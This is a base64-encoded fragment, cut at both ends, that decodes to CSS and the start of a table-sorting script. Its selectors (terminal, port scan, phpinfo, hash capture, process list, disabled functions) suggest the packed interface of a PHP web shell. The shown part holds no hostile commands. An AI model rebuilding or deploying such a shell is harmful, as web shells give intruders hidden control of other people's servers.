cmlnaHQ7d2lkdGg6NDklfQ0KCS5kaXZpZGV7d2lkdGg6MTAwJTtkaXNwbGF5OmlubGluZS1ibG9ja30NCgkuZGl2aWRlLWxlZnR7ZmxvYXQ6bGVmdDt3aWR0aDo1MCV9DQoJLmRpdmlkZS1yaWdodHtmbG9hdDpyaWdodDt3aWR0aDo1MCV9DQoJLm1haWwgaW5wdXRbdHlwZT10ZXh0XXt3aWR0aDoxMDAlO2Rpc3BsYXk6YmxvY2t9DQoJLmRhdGFiYXNlLWJyZWFkY3J1bWJ7bWFyZ2luOjEwcHggMCAwO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2ZvbnQtc3R5bGU6IGl0YWxpYzt9DQoJI3VwZGF0ZXt0ZXh0LWFsaWduOmNlbnRlcn0NCgkjcGhwLWNvbmZpZ3VyYXRpb257dGV4dC1hbGlnbjpjZW50ZXJ9DQoJLmVycm9ye2FuaW1hdGlvbjpibGlua2VyIDFzIGxpbmVhciBpbmZpbml0ZTtiYWNrZ3JvdW5kOnZhcigtLWNvbG9yKTtjb2xvcjp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHg7fQ0KCSNsb2dve21hcmdpbjowIDAgMjNweCAwO3BhZGRpbmc6MjNweCAwIDIzcHggMDtib3JkZXItdG9wOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcil9DQoJLmNvbnRlbnR7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO3BhZGRpbmc6MTBweDtvdmVyZmxvdzphdXRvO292ZXJmbG93LXk6aGlkZGVufQ0KCSNwcm9jZXNzLWxpc3R7cGFkZGluZzoyNXB4O21hcmdpbjoyNXB4IGF1dG8gMHB4O2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtvdmVyZmxvdzpzY3JvbGw7b3ZlcmZsb3cteTpoaWRkZW59DQoJI3Byb2Nlc3MtbGlzdCBze3RleHQtZGVjb3JhdGlvbjpub25lfQ0KCS50b29scy1oZWFkZXJ7bWFyZ2luLWJvdHRvbToyMHB4O3BhZGRpbmctYm90dG9tOjI1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKX0NCgkubWVudXtvdmVyZmxvdzpoaWRkZW47Ym9yZGVyLXRvcDoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO21hcmdpbjoxMHB4IDB9DQoJLm1lbnUgPiB1bHtsaXN0LXN0eWxlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzowfQ0KCS5tZW51ID4gdWwgPiBsaXttYXJnaW46MCAzcHggMCAwO3BhZGRpbmc6MTBweCA3cHggMTBweCA3cHg7ZGlzcGxheTpibG9jaztmbG9hdDpsZWZ0fQ0KCS5tZW51ID4gdWwgPiBsaTpob3ZlcntjdXJzb3I6cG9pbnRlcn0NCgkubWVudS10b29sc3tvdmVyZmxvdzpoaWRkZW47Ym9yZGVyLXRvcDoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO21hcmdpbjoxMHB4IDB9DQoJLm1lbnUtdG9vbHMgPiB1bHtsaXN0LXN0eWxlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzowfQ0KCS5tZW51LXRvb2xzID4gdWwgPiBsaXttYXJnaW46MCAzcHggMCAwO3BhZGRpbmc6MTBweCA3cHggMTBweCA3cHg7ZGlzcGxheTpibG9jaztmbG9hdDpsZWZ0fQ0KCS5tZW51LXRvb2xzID4gdWwgPiBsaTpob3ZlcntjdXJzb3I6cG9pbnRlcn0NCgkubWVudS1kaXJlY3Rvcnl7O21hcmdpbi1ib3R0b206MTBweH0NCgkubmV3e21hcmdpbi1yaWdodDoxNXB4O30NCgkuaGFzaCBsYWJlbHttaW4td2lkdGg6NDBweDtkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nLXJpZ2h0OjE1cHh9DQoJLmhhc2gtY2FwdHVyZSBsYWJlbHttYXJnaW46MTBweCAwO2Rpc3BsYXk6aW5saW5lLWJsb2NrfQ0KCS5oYXNoIGlucHV0W3R5cGU9cmFkaW9de21hcmdpbi1yaWdodDoxMHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0NCgkuYXV0by1udW1iZXIgdGFibGV7Y291bnRlci1yZXNldDpyb3dffQ0KCS5hdXRvLW51bWJlciB0YWJsZSB0Ym9keSB0ciB0ZDpmaXJzdC1jaGlsZHtjb3VudGVyLWluY3JlbWVudDpyb3dfO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt0ZXh0LWFsaWduOmNlbnRlcn0NCgkuYXV0by1udW1iZXIgdGFibGUgdGJvZHkgdHIgdGQ6Zmlyc3QtY2hpbGQ6OmJlZm9yZXtjb250ZW50OmNvdW50ZXIocm93Xyl9DQoJI3RpdGxle3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZTo0NHB4O21hcmdpbjowO2NvbG9yOnZhcigtLXR4dC1jb2xvcik7bWFyZ2luLWJvdHRvbToxNXB4fQ0KCSNzdWJ0aXRsZXt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MjJweDttYXJnaW46MDtjb2xvcjp2YXIoLS10eHQtY29sb3IpO21hcmdpbi10b3A6OHB4fQ0KCSN0b29sc3ttaW4taGVpZ2h0OjEyNXB4O3BhZGRpbmc6MTBweDtib3JkZXItcmFkaXVzOjVweH0NCgkjYWNjb3VudHttaW4taGVpZ2h0OjEwMHB4O3BhZGRpbmc6MTBweDtib3JkZXItcmFkaXVzOjVweH0NCgkjdGhhbmtze3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxNnB4O2ZvbnQtZmFtaWx5OmNvdXJpZXI7cGFkZGluZzo1JSAwfQ0KCSNmb290ZXJ7bWFyZ2luOjI1cHggYXV0b30NCgkjY29weXJpZ2h0c3t0ZXh0LWFsaWduOmNlbnRlcn0NCgkjcGFnZWxvYWR7dGV4dC1hbGlnbjpjZW50ZXJ9DQoJI3F1ZXJ5e21hcmdpbi10b3A6MTBweH0NCgkjZGF0YWJhc2UtcXVlcnl7b3ZlcmZsb3c6YXV0bzttYXJnaW46MTBweCAwfQ0KCSNoZXhkdW1we2hlaWdodDozMDBweDtvdmVyZmxvdzphdXRvO292ZXJmbG93LXg6aGlkZGVufQ0KCSN0ZXJtaW5hbHttaW4taGVpZ2h0OjEwMHB4O3BhZGRpbmc6MTBweDtib3JkZXItcmFkaXVzOjVweH0NCgkjdGVybWluYWwtaW5wdXR7Ym9yZGVyOm5vbmV9DQoJI2N1cmRpci10ZXJtaW5hbHttaW4td2lkdGg6MTBweH0NCgkjZGF0YWJhc2V7bWluLWhlaWdodDoxMDBweDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHh9DQoJI2RhdGFiYXNlIGxhYmVse3dpZHRoOjEwMHB4O3BhZGRpbmc6NXB4O21hcmdpbi1yaWdodDoxMHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrfQ0KCSNwb3J0LXNjYW4gbGFiZWx7d2lkdGg6MTAwcHg7cGFkZGluZzo1cHg7bWFyZ2luLXJpZ2h0OjEwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2t9DQoJI3BocGluZm8gdGFibGV7bWFyZ2luOjI1cHggMH0NCgkjcGhwaW5mbyB0cjpudGgtY2hpbGQob2RkKXtiYWNrZ3JvdW5kOnZhcigtLWJhY2tncm91bmQtY29sb3IpfQ0KCSNwaHBpbmZvIHRyOm50aC1jaGlsZChldmVuKXtiYWNrZ3JvdW5kOnZhcigtLWJvcmRlci1jb2xvcil9DQoJI3BocGluZm8gdGQsdGh7cGFkZGluZzo1cHg7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpfQ0KCSNwaHBpbmZvIGgxe21hcmdpbjoxMHB4IDB9DQoJI3BocGluZm8gaDJ7bWFyZ2luOjEwcHggMH0NCgkjcGhwaW5mby5le3dpZHRoOjIwMHB4fQ0KCSNwaHBpbmZvLnZ7d29yZC1icmVhazpicmVhay13b3JkfQ0KCSNwaHBpbmZvIGltZ3tkaXNwbGF5Om5vbmV9DQoJI3BocGluZm8gaHJ7Ym9yZGVyOm5vbmV9DQoJLmxpbmUgaDJ7cG9zaXRpb246cmVsYXRpdmU7dG9wOjEycHg7d2lkdGg6MTAwcHg7ZGlzcGxheTppbmxpbmU7YmFja2dyb3VuZDp2YXIoLS1iYWNrZ3JvdW5kLWNvbG9yKTtwYWRkaW5nOjAgMTBweDtjb2xvcjp2YXIoLS10eHQtY29sb3IpfQ0KCS5saW5le2JvcmRlci1ib3R0b206MnB4IHNvbGlkIHZhcigtLWNvbG9yKTt0ZXh0LWFsaWduOmNlbnRlcjt3aWR0aDoyODdweDttYXJnaW46YXV0b30NCgkudGFibGUge3dpZHRoOjEwMCU7bWFyZ2luOjEwcHggMH0NCgkudGFibGUgdGQsdGh7cGFkZGluZzo1cHg7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO21heC13aWR0aDoyNTBweDttaW4td2lkdGg6MjVweH0NCgkudGFibGUgdGQua2FuYW57d29yZC1icmVhazpicmVhay13b3JkfQ0KCS50YWJsZSB0ZC5raXJpe3dpZHRoOjMwJX0NCgkudGFibGUgdHI6bnRoLWNoaWxkKG9kZCl7YmFja2dyb3VuZDp2YXIoLS10YWJsZS1vZGQtY29sb3IpfQ0KCS50YWJsZSB0cjpudGgtY2hpbGQoZXZlbil7YmFja2dyb3VuZDp2YXIoLS10YWJsZS1ldmVuLWNvbG9yKX0NCgkudGFibGUgdHI6aG92ZXIgdGR7YmFja2dyb3VuZDp2YXIoLS10YWJsZS1ob3Zlci1jb2xvcil9DQoJLnRhYmxlIHRmb290IHRke3BhZGRpbmc6MTBweDt0ZXh0LWFsaWduOmNlbnRlcn0NCgkuZGF0YWJhc2UtdGFibGUgPiB0ZC50YWJsZSB7d29yZC1icmVhazpub3JtYWw7fQ0KCS5tYXAtc3dpdGNoe2Rpc3BsYXk6aW5saW5lLWJsb2NrfQ0KCS5mb3JtLWZpeHttYXJnaW46LTE1cHggMH0NCgkuZnJtc291cmNle21hcmdpbi10b3A6MTBweH0NCgkuaGV4ZHVtcHt3aWR0aDoxMDAlO3BhZGRpbmc6NXB4O21hcmdpbi1ib3R0b206NXB4fQ0KCS5oZXhkdW1wIHRke3RleHQtYWxpZ246bGVmdH0NCgkuaGlnaGxpZ2h0e2JhY2tncm91bmQ6dmFyKC0tYmFja2dyb3VuZC1jb2xvcik7d29yZC1icmVhazpicmVhay13b3JkO3BhZGRpbmc6MTVweDttYXJnaW4tYm90dG9tOjVweDtoZWlnaHQ6MzAwcHg7b3ZlcmZsb3c6YXV0b30NCgkuaGFzaC1jYXB0dXJle2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjEwMCV9DQoJLmhhc2gtY2FwdHVyZS1sZWZ0e2Zsb2F0OmxlZnQ7d2lkdGg6NDklfQ0KCS5oYXNoLWNhcHR1cmUtcmlnaHR7ZmxvYXQ6cmlnaHQ7d2lkdGg6NDklfQ0KCS5jbHJ7Y2xlYXI6Ym90aH0NCgkub257Y29sb3I6dmFyKC0tdHh0LWNvbG9yKX0NCgkub2Zme2NvbG9yOnJlZH0NCgkucmVzdWx0e3BhZGRpbmc6MTBweH0NCgkuc29ydGFibGUgdGhlYWR7Y3Vyc29yOnBvaW50ZXJ9DQoJLmRpc2FibGVmdW5je292ZXJmbG93LXdyYXA6YnJlYWstd29yZH0NCgkubG9hZGluZ3t2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7d2lkdGg6MTZweDtoZWlnaHQ6MTZweDtkaXNwbGF5OmlubGluZS1ibG9jaztiYWNrZ3JvdW5kOnVybCgnZGF0YTppbWFnZS9naWY7YmFzZTY0LFIwbEdPRGxoRUFBUUFQSUFBQUFBQVAvLy96dzhQTHk4dlAvLy81eWNuSHg4Zkd4c2JDSCtHa055WldGMFpXUWdkMmwwYUNCaGFtRjRiRzloWkM1cGJtWnZBQ0g1QkFBS0FBQUFJZjhMVGtWVVUwTkJVRVV5TGpBREFRQUFBQ3dBQUFBQUVBQVFBQUFETXdpNjNQNHd5a2xyRTJNSU9nZ1puQWRPbUdZSlJiRXh3cm9VbWNHMkxtREV3bkhRTFZzWU9kMm1CemtZREFkS2ErZElBQUFoK1FRQUNnQUJBQ3dBQUFBQUVBQVFBQUFETkFpNjNQNU9qQ0VnRzRRTXU3RG1pa1J4UWxGVVlERVpJR0JNUlZzYXFId2N0WFhmN1dFWUI0QWcxeGppaGtNWnNpVWtLaElBSWZrRUFBb0FBZ0FzQUFBQUFCQUFFQUFBQXpZSXVqSWpLOHBCeUpETWxGWXZCb1ZqSEE3MEdVN3hTVUpobUt0d0hQQUt6TE85SE1hb0t3Slo3UmY4QVlQRER6S3BaQnFmdndRQUlma0VBQW9BQXdBc0FBQUFBQkFBRUFBQUF6TUl1bUlsSzhveWhwSHNuRlpmaFl1bUNZVWhEQVF4UklkaEhCR3FSb0t3MFI4RFlsSmQ4ejBmTURnc0dvL0lwSEk1VEFBQUlma0VBQW9BQkFBc0FBQUFBQkFBRUFBQUF6SUl1bkluSzByblpCVHdHUE5NZ1F3bWRzTmdYR0pVbElXRXVSNW9XVUlwejhwQUVBTWU2VHdmd3lZc0dvL0lwRktTQUFBaCtRUUFDZ0FGQUN3QUFBQUFFQUFRQUFBRE13aTZJTUtRT1JmamRPZTgycDR3R2NjYzRDRXVRcmFkeWxlc29qRU1CZ3NVYzJHN3NEWDNsUUdCTUxBSmlidWZiU2xLQUFBaCtRUUFDZ0FHQUN3QUFBQUFFQUFRQUFBRE1naTYzUDd3Q1JIWm5GVmRtZ0h1Mm5Gd2xXQ0kzV0djM1RTV2hVRkd4VEFVa0dDYnRnRU5CTUpBRUpzeGdNTFd6cEVBQUNINUJBQUtBQWNBTEFBQUFBQVFBQkFBQUFNeUNMcmMvakRLU2F0bFF0U2NLZGNlQ0FqRElJN0hjUTRFTVRDcHlyQ3VVQmpDWVJnSFZ0cWxBaUIxWWhpQ25sc1JrQUFBT3dBQUFBQUFBQUFBQUE9PScpfQ0KPC9zdHlsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGRlYW5fYWRkRXZlbnQodCxlLHIpe2lmKHQuYWRkRXZlbnRMaXN0ZW5lcil0LmFkZEV2ZW50TGlzdGVuZXIoZSxyLCExKTtlbHNle3IuJCRndWlkfHwoci4kJGd1aWQ9ZGVhbl9hZGRFdmVudC5ndWlkKyspLHQuZXZlbnRzfHwodC5ldmVudHM9e30pO3ZhciBvPXQuZXZlbnRzW2VdO298fChvPXQuZXZlbnRzW2VdPXt9LHRbIm9uIitlXSYmKG9bMF09dFsib24iK2VdKSksb1tyLiQkZ3VpZF09cix0WyJvbiIrZV09aGFuZGxlRXZlbnR9fWZ1bmN0aW9uIHJlbW92ZUV2ZW50KHQsZSxyKXt0LnJlbW92ZUV2ZW50TGlzdGVuZXI/dC5yZW1vdmVFdmVudExpc3RlbmVyKGUsciwhMSk6dC5ldmVudHMmJnQuZXZlbnRzW2VdJiZkZWxldGUgdC5ldmVudHNbZV1bci4kJGd1aWRdfWZ1bmN0aW9uIGhhbmRsZUV2ZW50KHQpe3ZhciBlPSEwO3Q9dHx8Zml4RXZlbnQoKCh0aGlzLm93bmVyRG9jdW1lbnR8fHRoaXMuZG9jdW1lbnR8fHRoaXMpLnBhcmVudFdpbmRvd3x8d2luZG93KS5ldmVudCk7dmFyIHI9dGhpcy5ldmVudHNbdC50eXBlXTtmb3IodmFyIG8gaW4gcil0aGlzLiQkaGFuZGxlRXZlbnQ9cltvXSwhMT09PXRoaXMuJCRoYW5kbGVFdmVudCh0KSYmKGU9ITEpO3JldHVybiBlfWZ1bmN0aW9uIGZpeEV2ZW50KHQpe3JldHVybiB0LnByZXZlbnREZWZhdWx0PWZpeEV2ZW50LnByZXZlbnREZWZhdWx0LHQuc3RvcFByb3BhZ2F0aW9uPWZpeEV2ZW50LnN0b3BQcm9wYWdhdGlvbix0fXZhciBzdElzSUU9ITE7aWYoc29ydHRhYmxlPXtpbml0OmZ1bmN0aW9uKCl7YXJndW1lbnRzLmNhbGxlZS5kb25lfHwoYXJndW1lbnRzLmNhbGxlZS5kb25lPSEwLF90aW1lciYmY2xlYXJJbnRlcnZhbChfdGltZXIpLGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQmJmRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lJiYoc29ydHRhYmxlLkRBVEVfUkU9L14oXGRcZD8pW1wvXC4tXShcZFxkPylbXC9cLi1dKChcZFxkKT9cZFxkKSQvLGZvckVhY2goZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInRhYmxlIiksZnVuY3Rpb24odCl7LTEhPXQuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0YWJsZVxiLykmJnNvcnR0YWJsZS5tYWtlU29ydGFibGUodCl9KSkpfSxtYWtlU29ydGFibGU6ZnVuY3Rpb24odCl7aWYoMD09dC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKS5sZW5ndGgmJih0aGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGhlYWQiKSx0aGUuYXBwZW5kQ2hpbGQodC5yb3dzWzBdKSx0Lmluc2VydEJlZm9yZSh0aGUsdC5maXJzdENoaWxkKSksbnVsbD09dC50SGVhZCYmKHQudEhlYWQ9dC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKVswXSksMT09dC50SGVhZC5yb3dzLmxlbmd0aCl7c29ydGJvdHRvbXJvd3M9W107Zm9yKGU9MDtlPHQucm93cy5sZW5ndGg7ZSsrKS0xIT10LnJvd3NbZV0uY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0Ym90dG9tXGIvKSYmKHNvcnRib3R0b21yb3dzW3NvcnRib3R0b21yb3dzLmxlbmd0aF09dC5yb3dzW2VdKTtpZihzb3J0Ym90dG9tcm93cyl7bnVsbD09dC50Rm9vdCYmKHRmbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0Zm9vdCIpLHQuYXBwZW5kQ2hpbGQodGZvKSk7Zm9yKGU9MDtlPHNvcnRib3R0b21yb3dzLmxlbmd0aDtlKyspdGZvLmFwcGVuZENoaWxkKHNvcnRib3R0b21yb3dzW2VdKTtkZWxldGUgc29ydGJvdHRvbXJvd3N9aGVhZHJvdz10LnRIZWFkLnJvd3NbMF0uY2VsbHM7Zm9yKHZhciBlPTA7ZTxoZWFkcm93Lmxlbmd0aDtlKyspaGVhZHJvd1tlXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlX25vc29ydFxiLyl8fChtdGNoPWhlYWRyb3dbZV0uY2xhc3NOYW1lLm1hdGNoKC9cYnNvcnR0YWJsZV8oW2EtejAtOV0rKVxiLyksbXRjaCYmKG92ZXJyaWRlPW10Y2hbMV0pLG10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/aGVhZHJvd1tlXS5zb3J0dGFibGVfc29ydGZ1bmN0aW9uPXNvcnR0YWJsZVsic29ydF8iK292ZXJyaWRlXTpoZWFkcm93W2VdLnNvcnR0YWJsZV9zb3J0ZnVuY3Rpb249c29ydHRhYmxlLmd1ZXNzVHlwZSh0LGUpLGhlYWRyb3dbZV0uc29ydHRhYmxlX2NvbHVtbmluZGV4PWUsaGVhZHJvd1tlXS5zb3J0dGFibGVfdGJvZHk9dC50Qm9kaWVzWzBdLGRlYW5fYWRkRXZlbnQoaGVhZHJvd1tlXSwiY2xpY2siLHNvcnR0YWJsZS5pbm5lclNvcnRGdW5jdGlvbj1mdW5jdGlvbih0KXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXJldHVybiBzb3J0dGFibGUucmV2ZXJzZSh0aGlzLnNvcnR0YWJsZV90Ym9keSksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIixzb3J0cmV2aW5kLmlubmVySFRNTD1zdElzSUU/JyZuYnNwPGZvbnQgZmFjZT0id2ViZGluZ3MiPjU8L2ZvbnQ+JzoiJm5ic3A7JiN4MjVCNDsiLHZvaWQgdGhpcy5hcHBlbmRDaGlsZChzb3J0cmV2aW5kKTtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZVxiLykpcmV0dXJuIHNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuc29ydHRhYmxlX3Rib2R5KSx0aGlzLmNsYXNzTmFtZT10aGlzLmNsYXNzTmFtZS5yZXBsYWNlKCJzb3J0dGFibGVfc29ydGVkX3JldmVyc2UiLCJzb3J0dGFibGVfc29ydGVkIiksdGhpcy5yZW1vdmVDaGlsZChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRyZXZpbmQiKSksc29ydGZ3ZGluZD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzcGFuIiksc29ydGZ3ZGluZC5pZD0ic29ydHRhYmxlX3NvcnRmd2RpbmQiLHNvcnRmd2RpbmQuaW5uZXJIVE1MPXN0SXNJRT8nJm5ic3A8Zm9udCBmYWNlPSJ3ZWJkaW5ncyI+NjwvZm9udD4nOiImbmJzcDsmI3gyNUJFOyIsdm9pZCB0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3RoZWFkcm93PXRoaXMucGFyZW50Tm9kZSxmb3JFYWNoKHRoZWFkcm93LmNoaWxkTm9kZXMsZnVuY3Rpb24odCl7MT09dC5ub2RlVHlwZSYmKHQuY2xhc3NOYW1lPXQuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIsIiIpLHQuY2xhc3NOYW1lPXQuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWQiLCIiKSl9KSxzb3J0ZndkaW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydGZ3ZGluZCIpLHNvcnRmd2RpbmQmJnNvcnRmd2RpbmQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChzb3J0ZndkaW5kKSxzb3J0cmV2aW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydHJldmluZCIpLHNvcnRyZXZpbmQmJnNvcnRyZXZpbmQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChzb3J0cmV2aW5kKSx0aGlzLmNsYXNzTmFtZSs9IiBzb3J0dGFibGVfc29ydGVkIixzb3J0ZndkaW5kPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKSxzb3J0ZndkaW5kLmlkPSJzb3J0dGFibGVfc29ydGZ3ZGluZCIsc29ydGZ3ZGluZC5pbm5lckhUTUw9c3RJc0lFPycmbmJzcDxmb250IGZhY2U9IndlYmRpbmdzIj42PC9mb250Pic6IiZuYnNwOyYjeDI1QkU7Iix0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpLHJvd19hcnJheT1bXSxjb2w9dGhpcy5zb3J0dGFibGVfY29sdW1uaW5kZXgscm93cz10aGlzLnNvcnR0YWJsZV90Ym9keS5yb3dzO2ZvcihlPTA7ZTxyb3dzLmxlbmd0aDtlKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZ2V0SW5uZXJUZXh0KHJvd3NbZV0uY2VsbHNbY29sXSkscm93c1tlXV07cm93X2FycmF5LnNvcnQodGhpcy5zb3J0dGFibGVfc29ydGZ1bmN0aW9uKSx0Yj10aGlzLnNvcnR0YWJsZV90Ym9keTtmb3IodmFyIGU9MDtlPHJvd19hcnJheS5sZW5ndGg7ZSsrKXRiLmFwcGVuZENoaWxkKHJvd19hcnJheVtlXVsxXSk7ZGVsZXRlIHJvd19hcnJheX0pKX19LGd1ZXNzVHlwZTpmdW5jdGlvbih0LGUpe3NvcnRmbj1zb3J0dGFibGUuc29ydF9hbHBoYTtmb3IodmFyIHI9MDtyPHQudEJvZGllc1swXS5yb3dzLmxlbmd0aDtyKyspaWYodGV4dD1zb3J0dGFibGUuZ2V0SW5uZXJUZXh0KHQudEJvZGllc1swXS5yb3dzW3JdLmNlbGxzW2VdKSwiIiE9dGV4dCl7aWYodGV4dC5tYXRjaCgvXi0/WyZwb3VuZDskJmN1cnJlbjtdP1tcZCwuXSslPyQvKSlyZXR1cm4gc29ydHRhYmxlLnNvcnRfbnVtZXJpYztpZihwb3NzZGF0ZT10ZXh0Lm1hdGNoKHNvcnR0YWJsZS5EQVRFX1JFKSxwb3NzZGF0ZSl7aWYoZmlyc3Q9cGFyc2VJbnQocG9zc2RhdGVbMV0pLHNlY29uZD1wYXJzZUludChwb3NzZGF0ZVsyXSksZmlyc3Q+MTIpcmV0dXJuIHNvcnR0YWJsZS5zb3J0X2RkbW07aWYoc2Vjb25kPjEyKXJldHVybiBzb3J0dGFibGUuc29ydF9tbWRkO3NvcnRmbj1zb3J0dGFibGUuc29ydF9kZG1tfX1yZXR1cm4gc29ydGZufSxnZXRJbm5lclRleHQ6ZnVuY3Rpb24odCl7aWYoIXQpcmV0dXJuIiI7aWYoaGFzSW5wdXRzPSJmdW5jdGlvbiI9PXR5cGVvZiB0LmdldEVsZW1lbnRzQnlUYWdOYW1lJiZ0LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpLmxlbmd0aCxudWxsIT10LmdldEF0dHJpYnV0ZSgic29ydHRhYmxlX2N1c3RvbWtleSIpKXJldHVybiB0LmdldEF0dHJpYnV0ZSgic29ydHRhYmxlX2N1c3RvbWtleSIpO2lmKHZvaWQgMCE9PXQudGV4dENvbnRlbnQmJiFoYXNJbnB1dHMpcmV0dXJuIHQudGV4dENvbnRlbnQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2lmKHZvaWQgMCE9PXQuaW5uZXJUZXh0JiYhaGFzSW5wdXRzKXJldHVybiB0LmlubmVyVGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYodm9pZCAwIT09dC50ZXh0JiYhaGFzSW5wdXRzKXJldHVybiB0LnRleHQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO3N3aXRjaCh0Lm5vZGVUeXBlKXtjYXNlIDM6aWYoImlucHV0Ij09dC5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKXJldHVybiB0LnZhbHVlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtjYXNlIDQ6cmV0dXJuIHQubm9kZVZhbHVlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtjYXNlIDE6Y2FzZSAxMTpmb3IodmFyIGU9IiIscj0wO3I8dC5jaGlsZE5vZGVzLmxlbmd0aDtyKyspZSs9c29ydHRhYmxlLmdldElubmVyVGV4dCh0LmNoaWxkTm9kZXNbcl0pO3JldHVybiBlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtkZWZhdWx0OnJldHVybiIifX0scmV2ZXJzZTpmdW5jdGlvbih0KXtuZXdyb3dzPVtdO2ZvcihlPTA7ZTx0LnJvd3MubGVuZ3RoO2UrKyluZXdyb3dzW25ld3Jvd3MubGVuZ3RoXT10LnJvd3NbZV07Zm9yKHZhciBlPW5ld3Jvd3MubGVuZ3RoLTE7ZT49MDtlLS0pdC5hcHBlbmRDaGlsZChuZXdyb3dzW2VdKTtkZWxldGUgbmV3cm93c30sc29ydF9udW1lcmljOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIGFhPXBhcnNlRmxvYXQodFswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSksaXNOYU4oYWEpJiYoYWE9MCksYmI9cGFyc2VGbG9hdChlWzBdLnJlcGxhY2UoL1teMC05Li1dL2csIiIpKSxpc05hTihiYikmJihiYj0wKSxhYS1iYn0sc29ydF9hbHBoYTpmdW5jdGlvbih0LGUpe3JldHVybiB0WzBdPT1lWzBdPzA6dFswXTxlWzBdPy0xOjF9LHNvcnRfZGRtbTpmdW5jdGlvbih0LGUpe3JldHVybiBtdGNoPXRbMF0ubWF0Y2goc29ydHRhYmxlLkRBVEVfUkUpLHk9bXRjaFszXSxtPW10Y2hbMl0sZD1tdGNoWzFdLDE9PW0ubGVuZ3RoJiYobT0iMCIrbSksMT09ZC5sZW5ndGgmJihkPS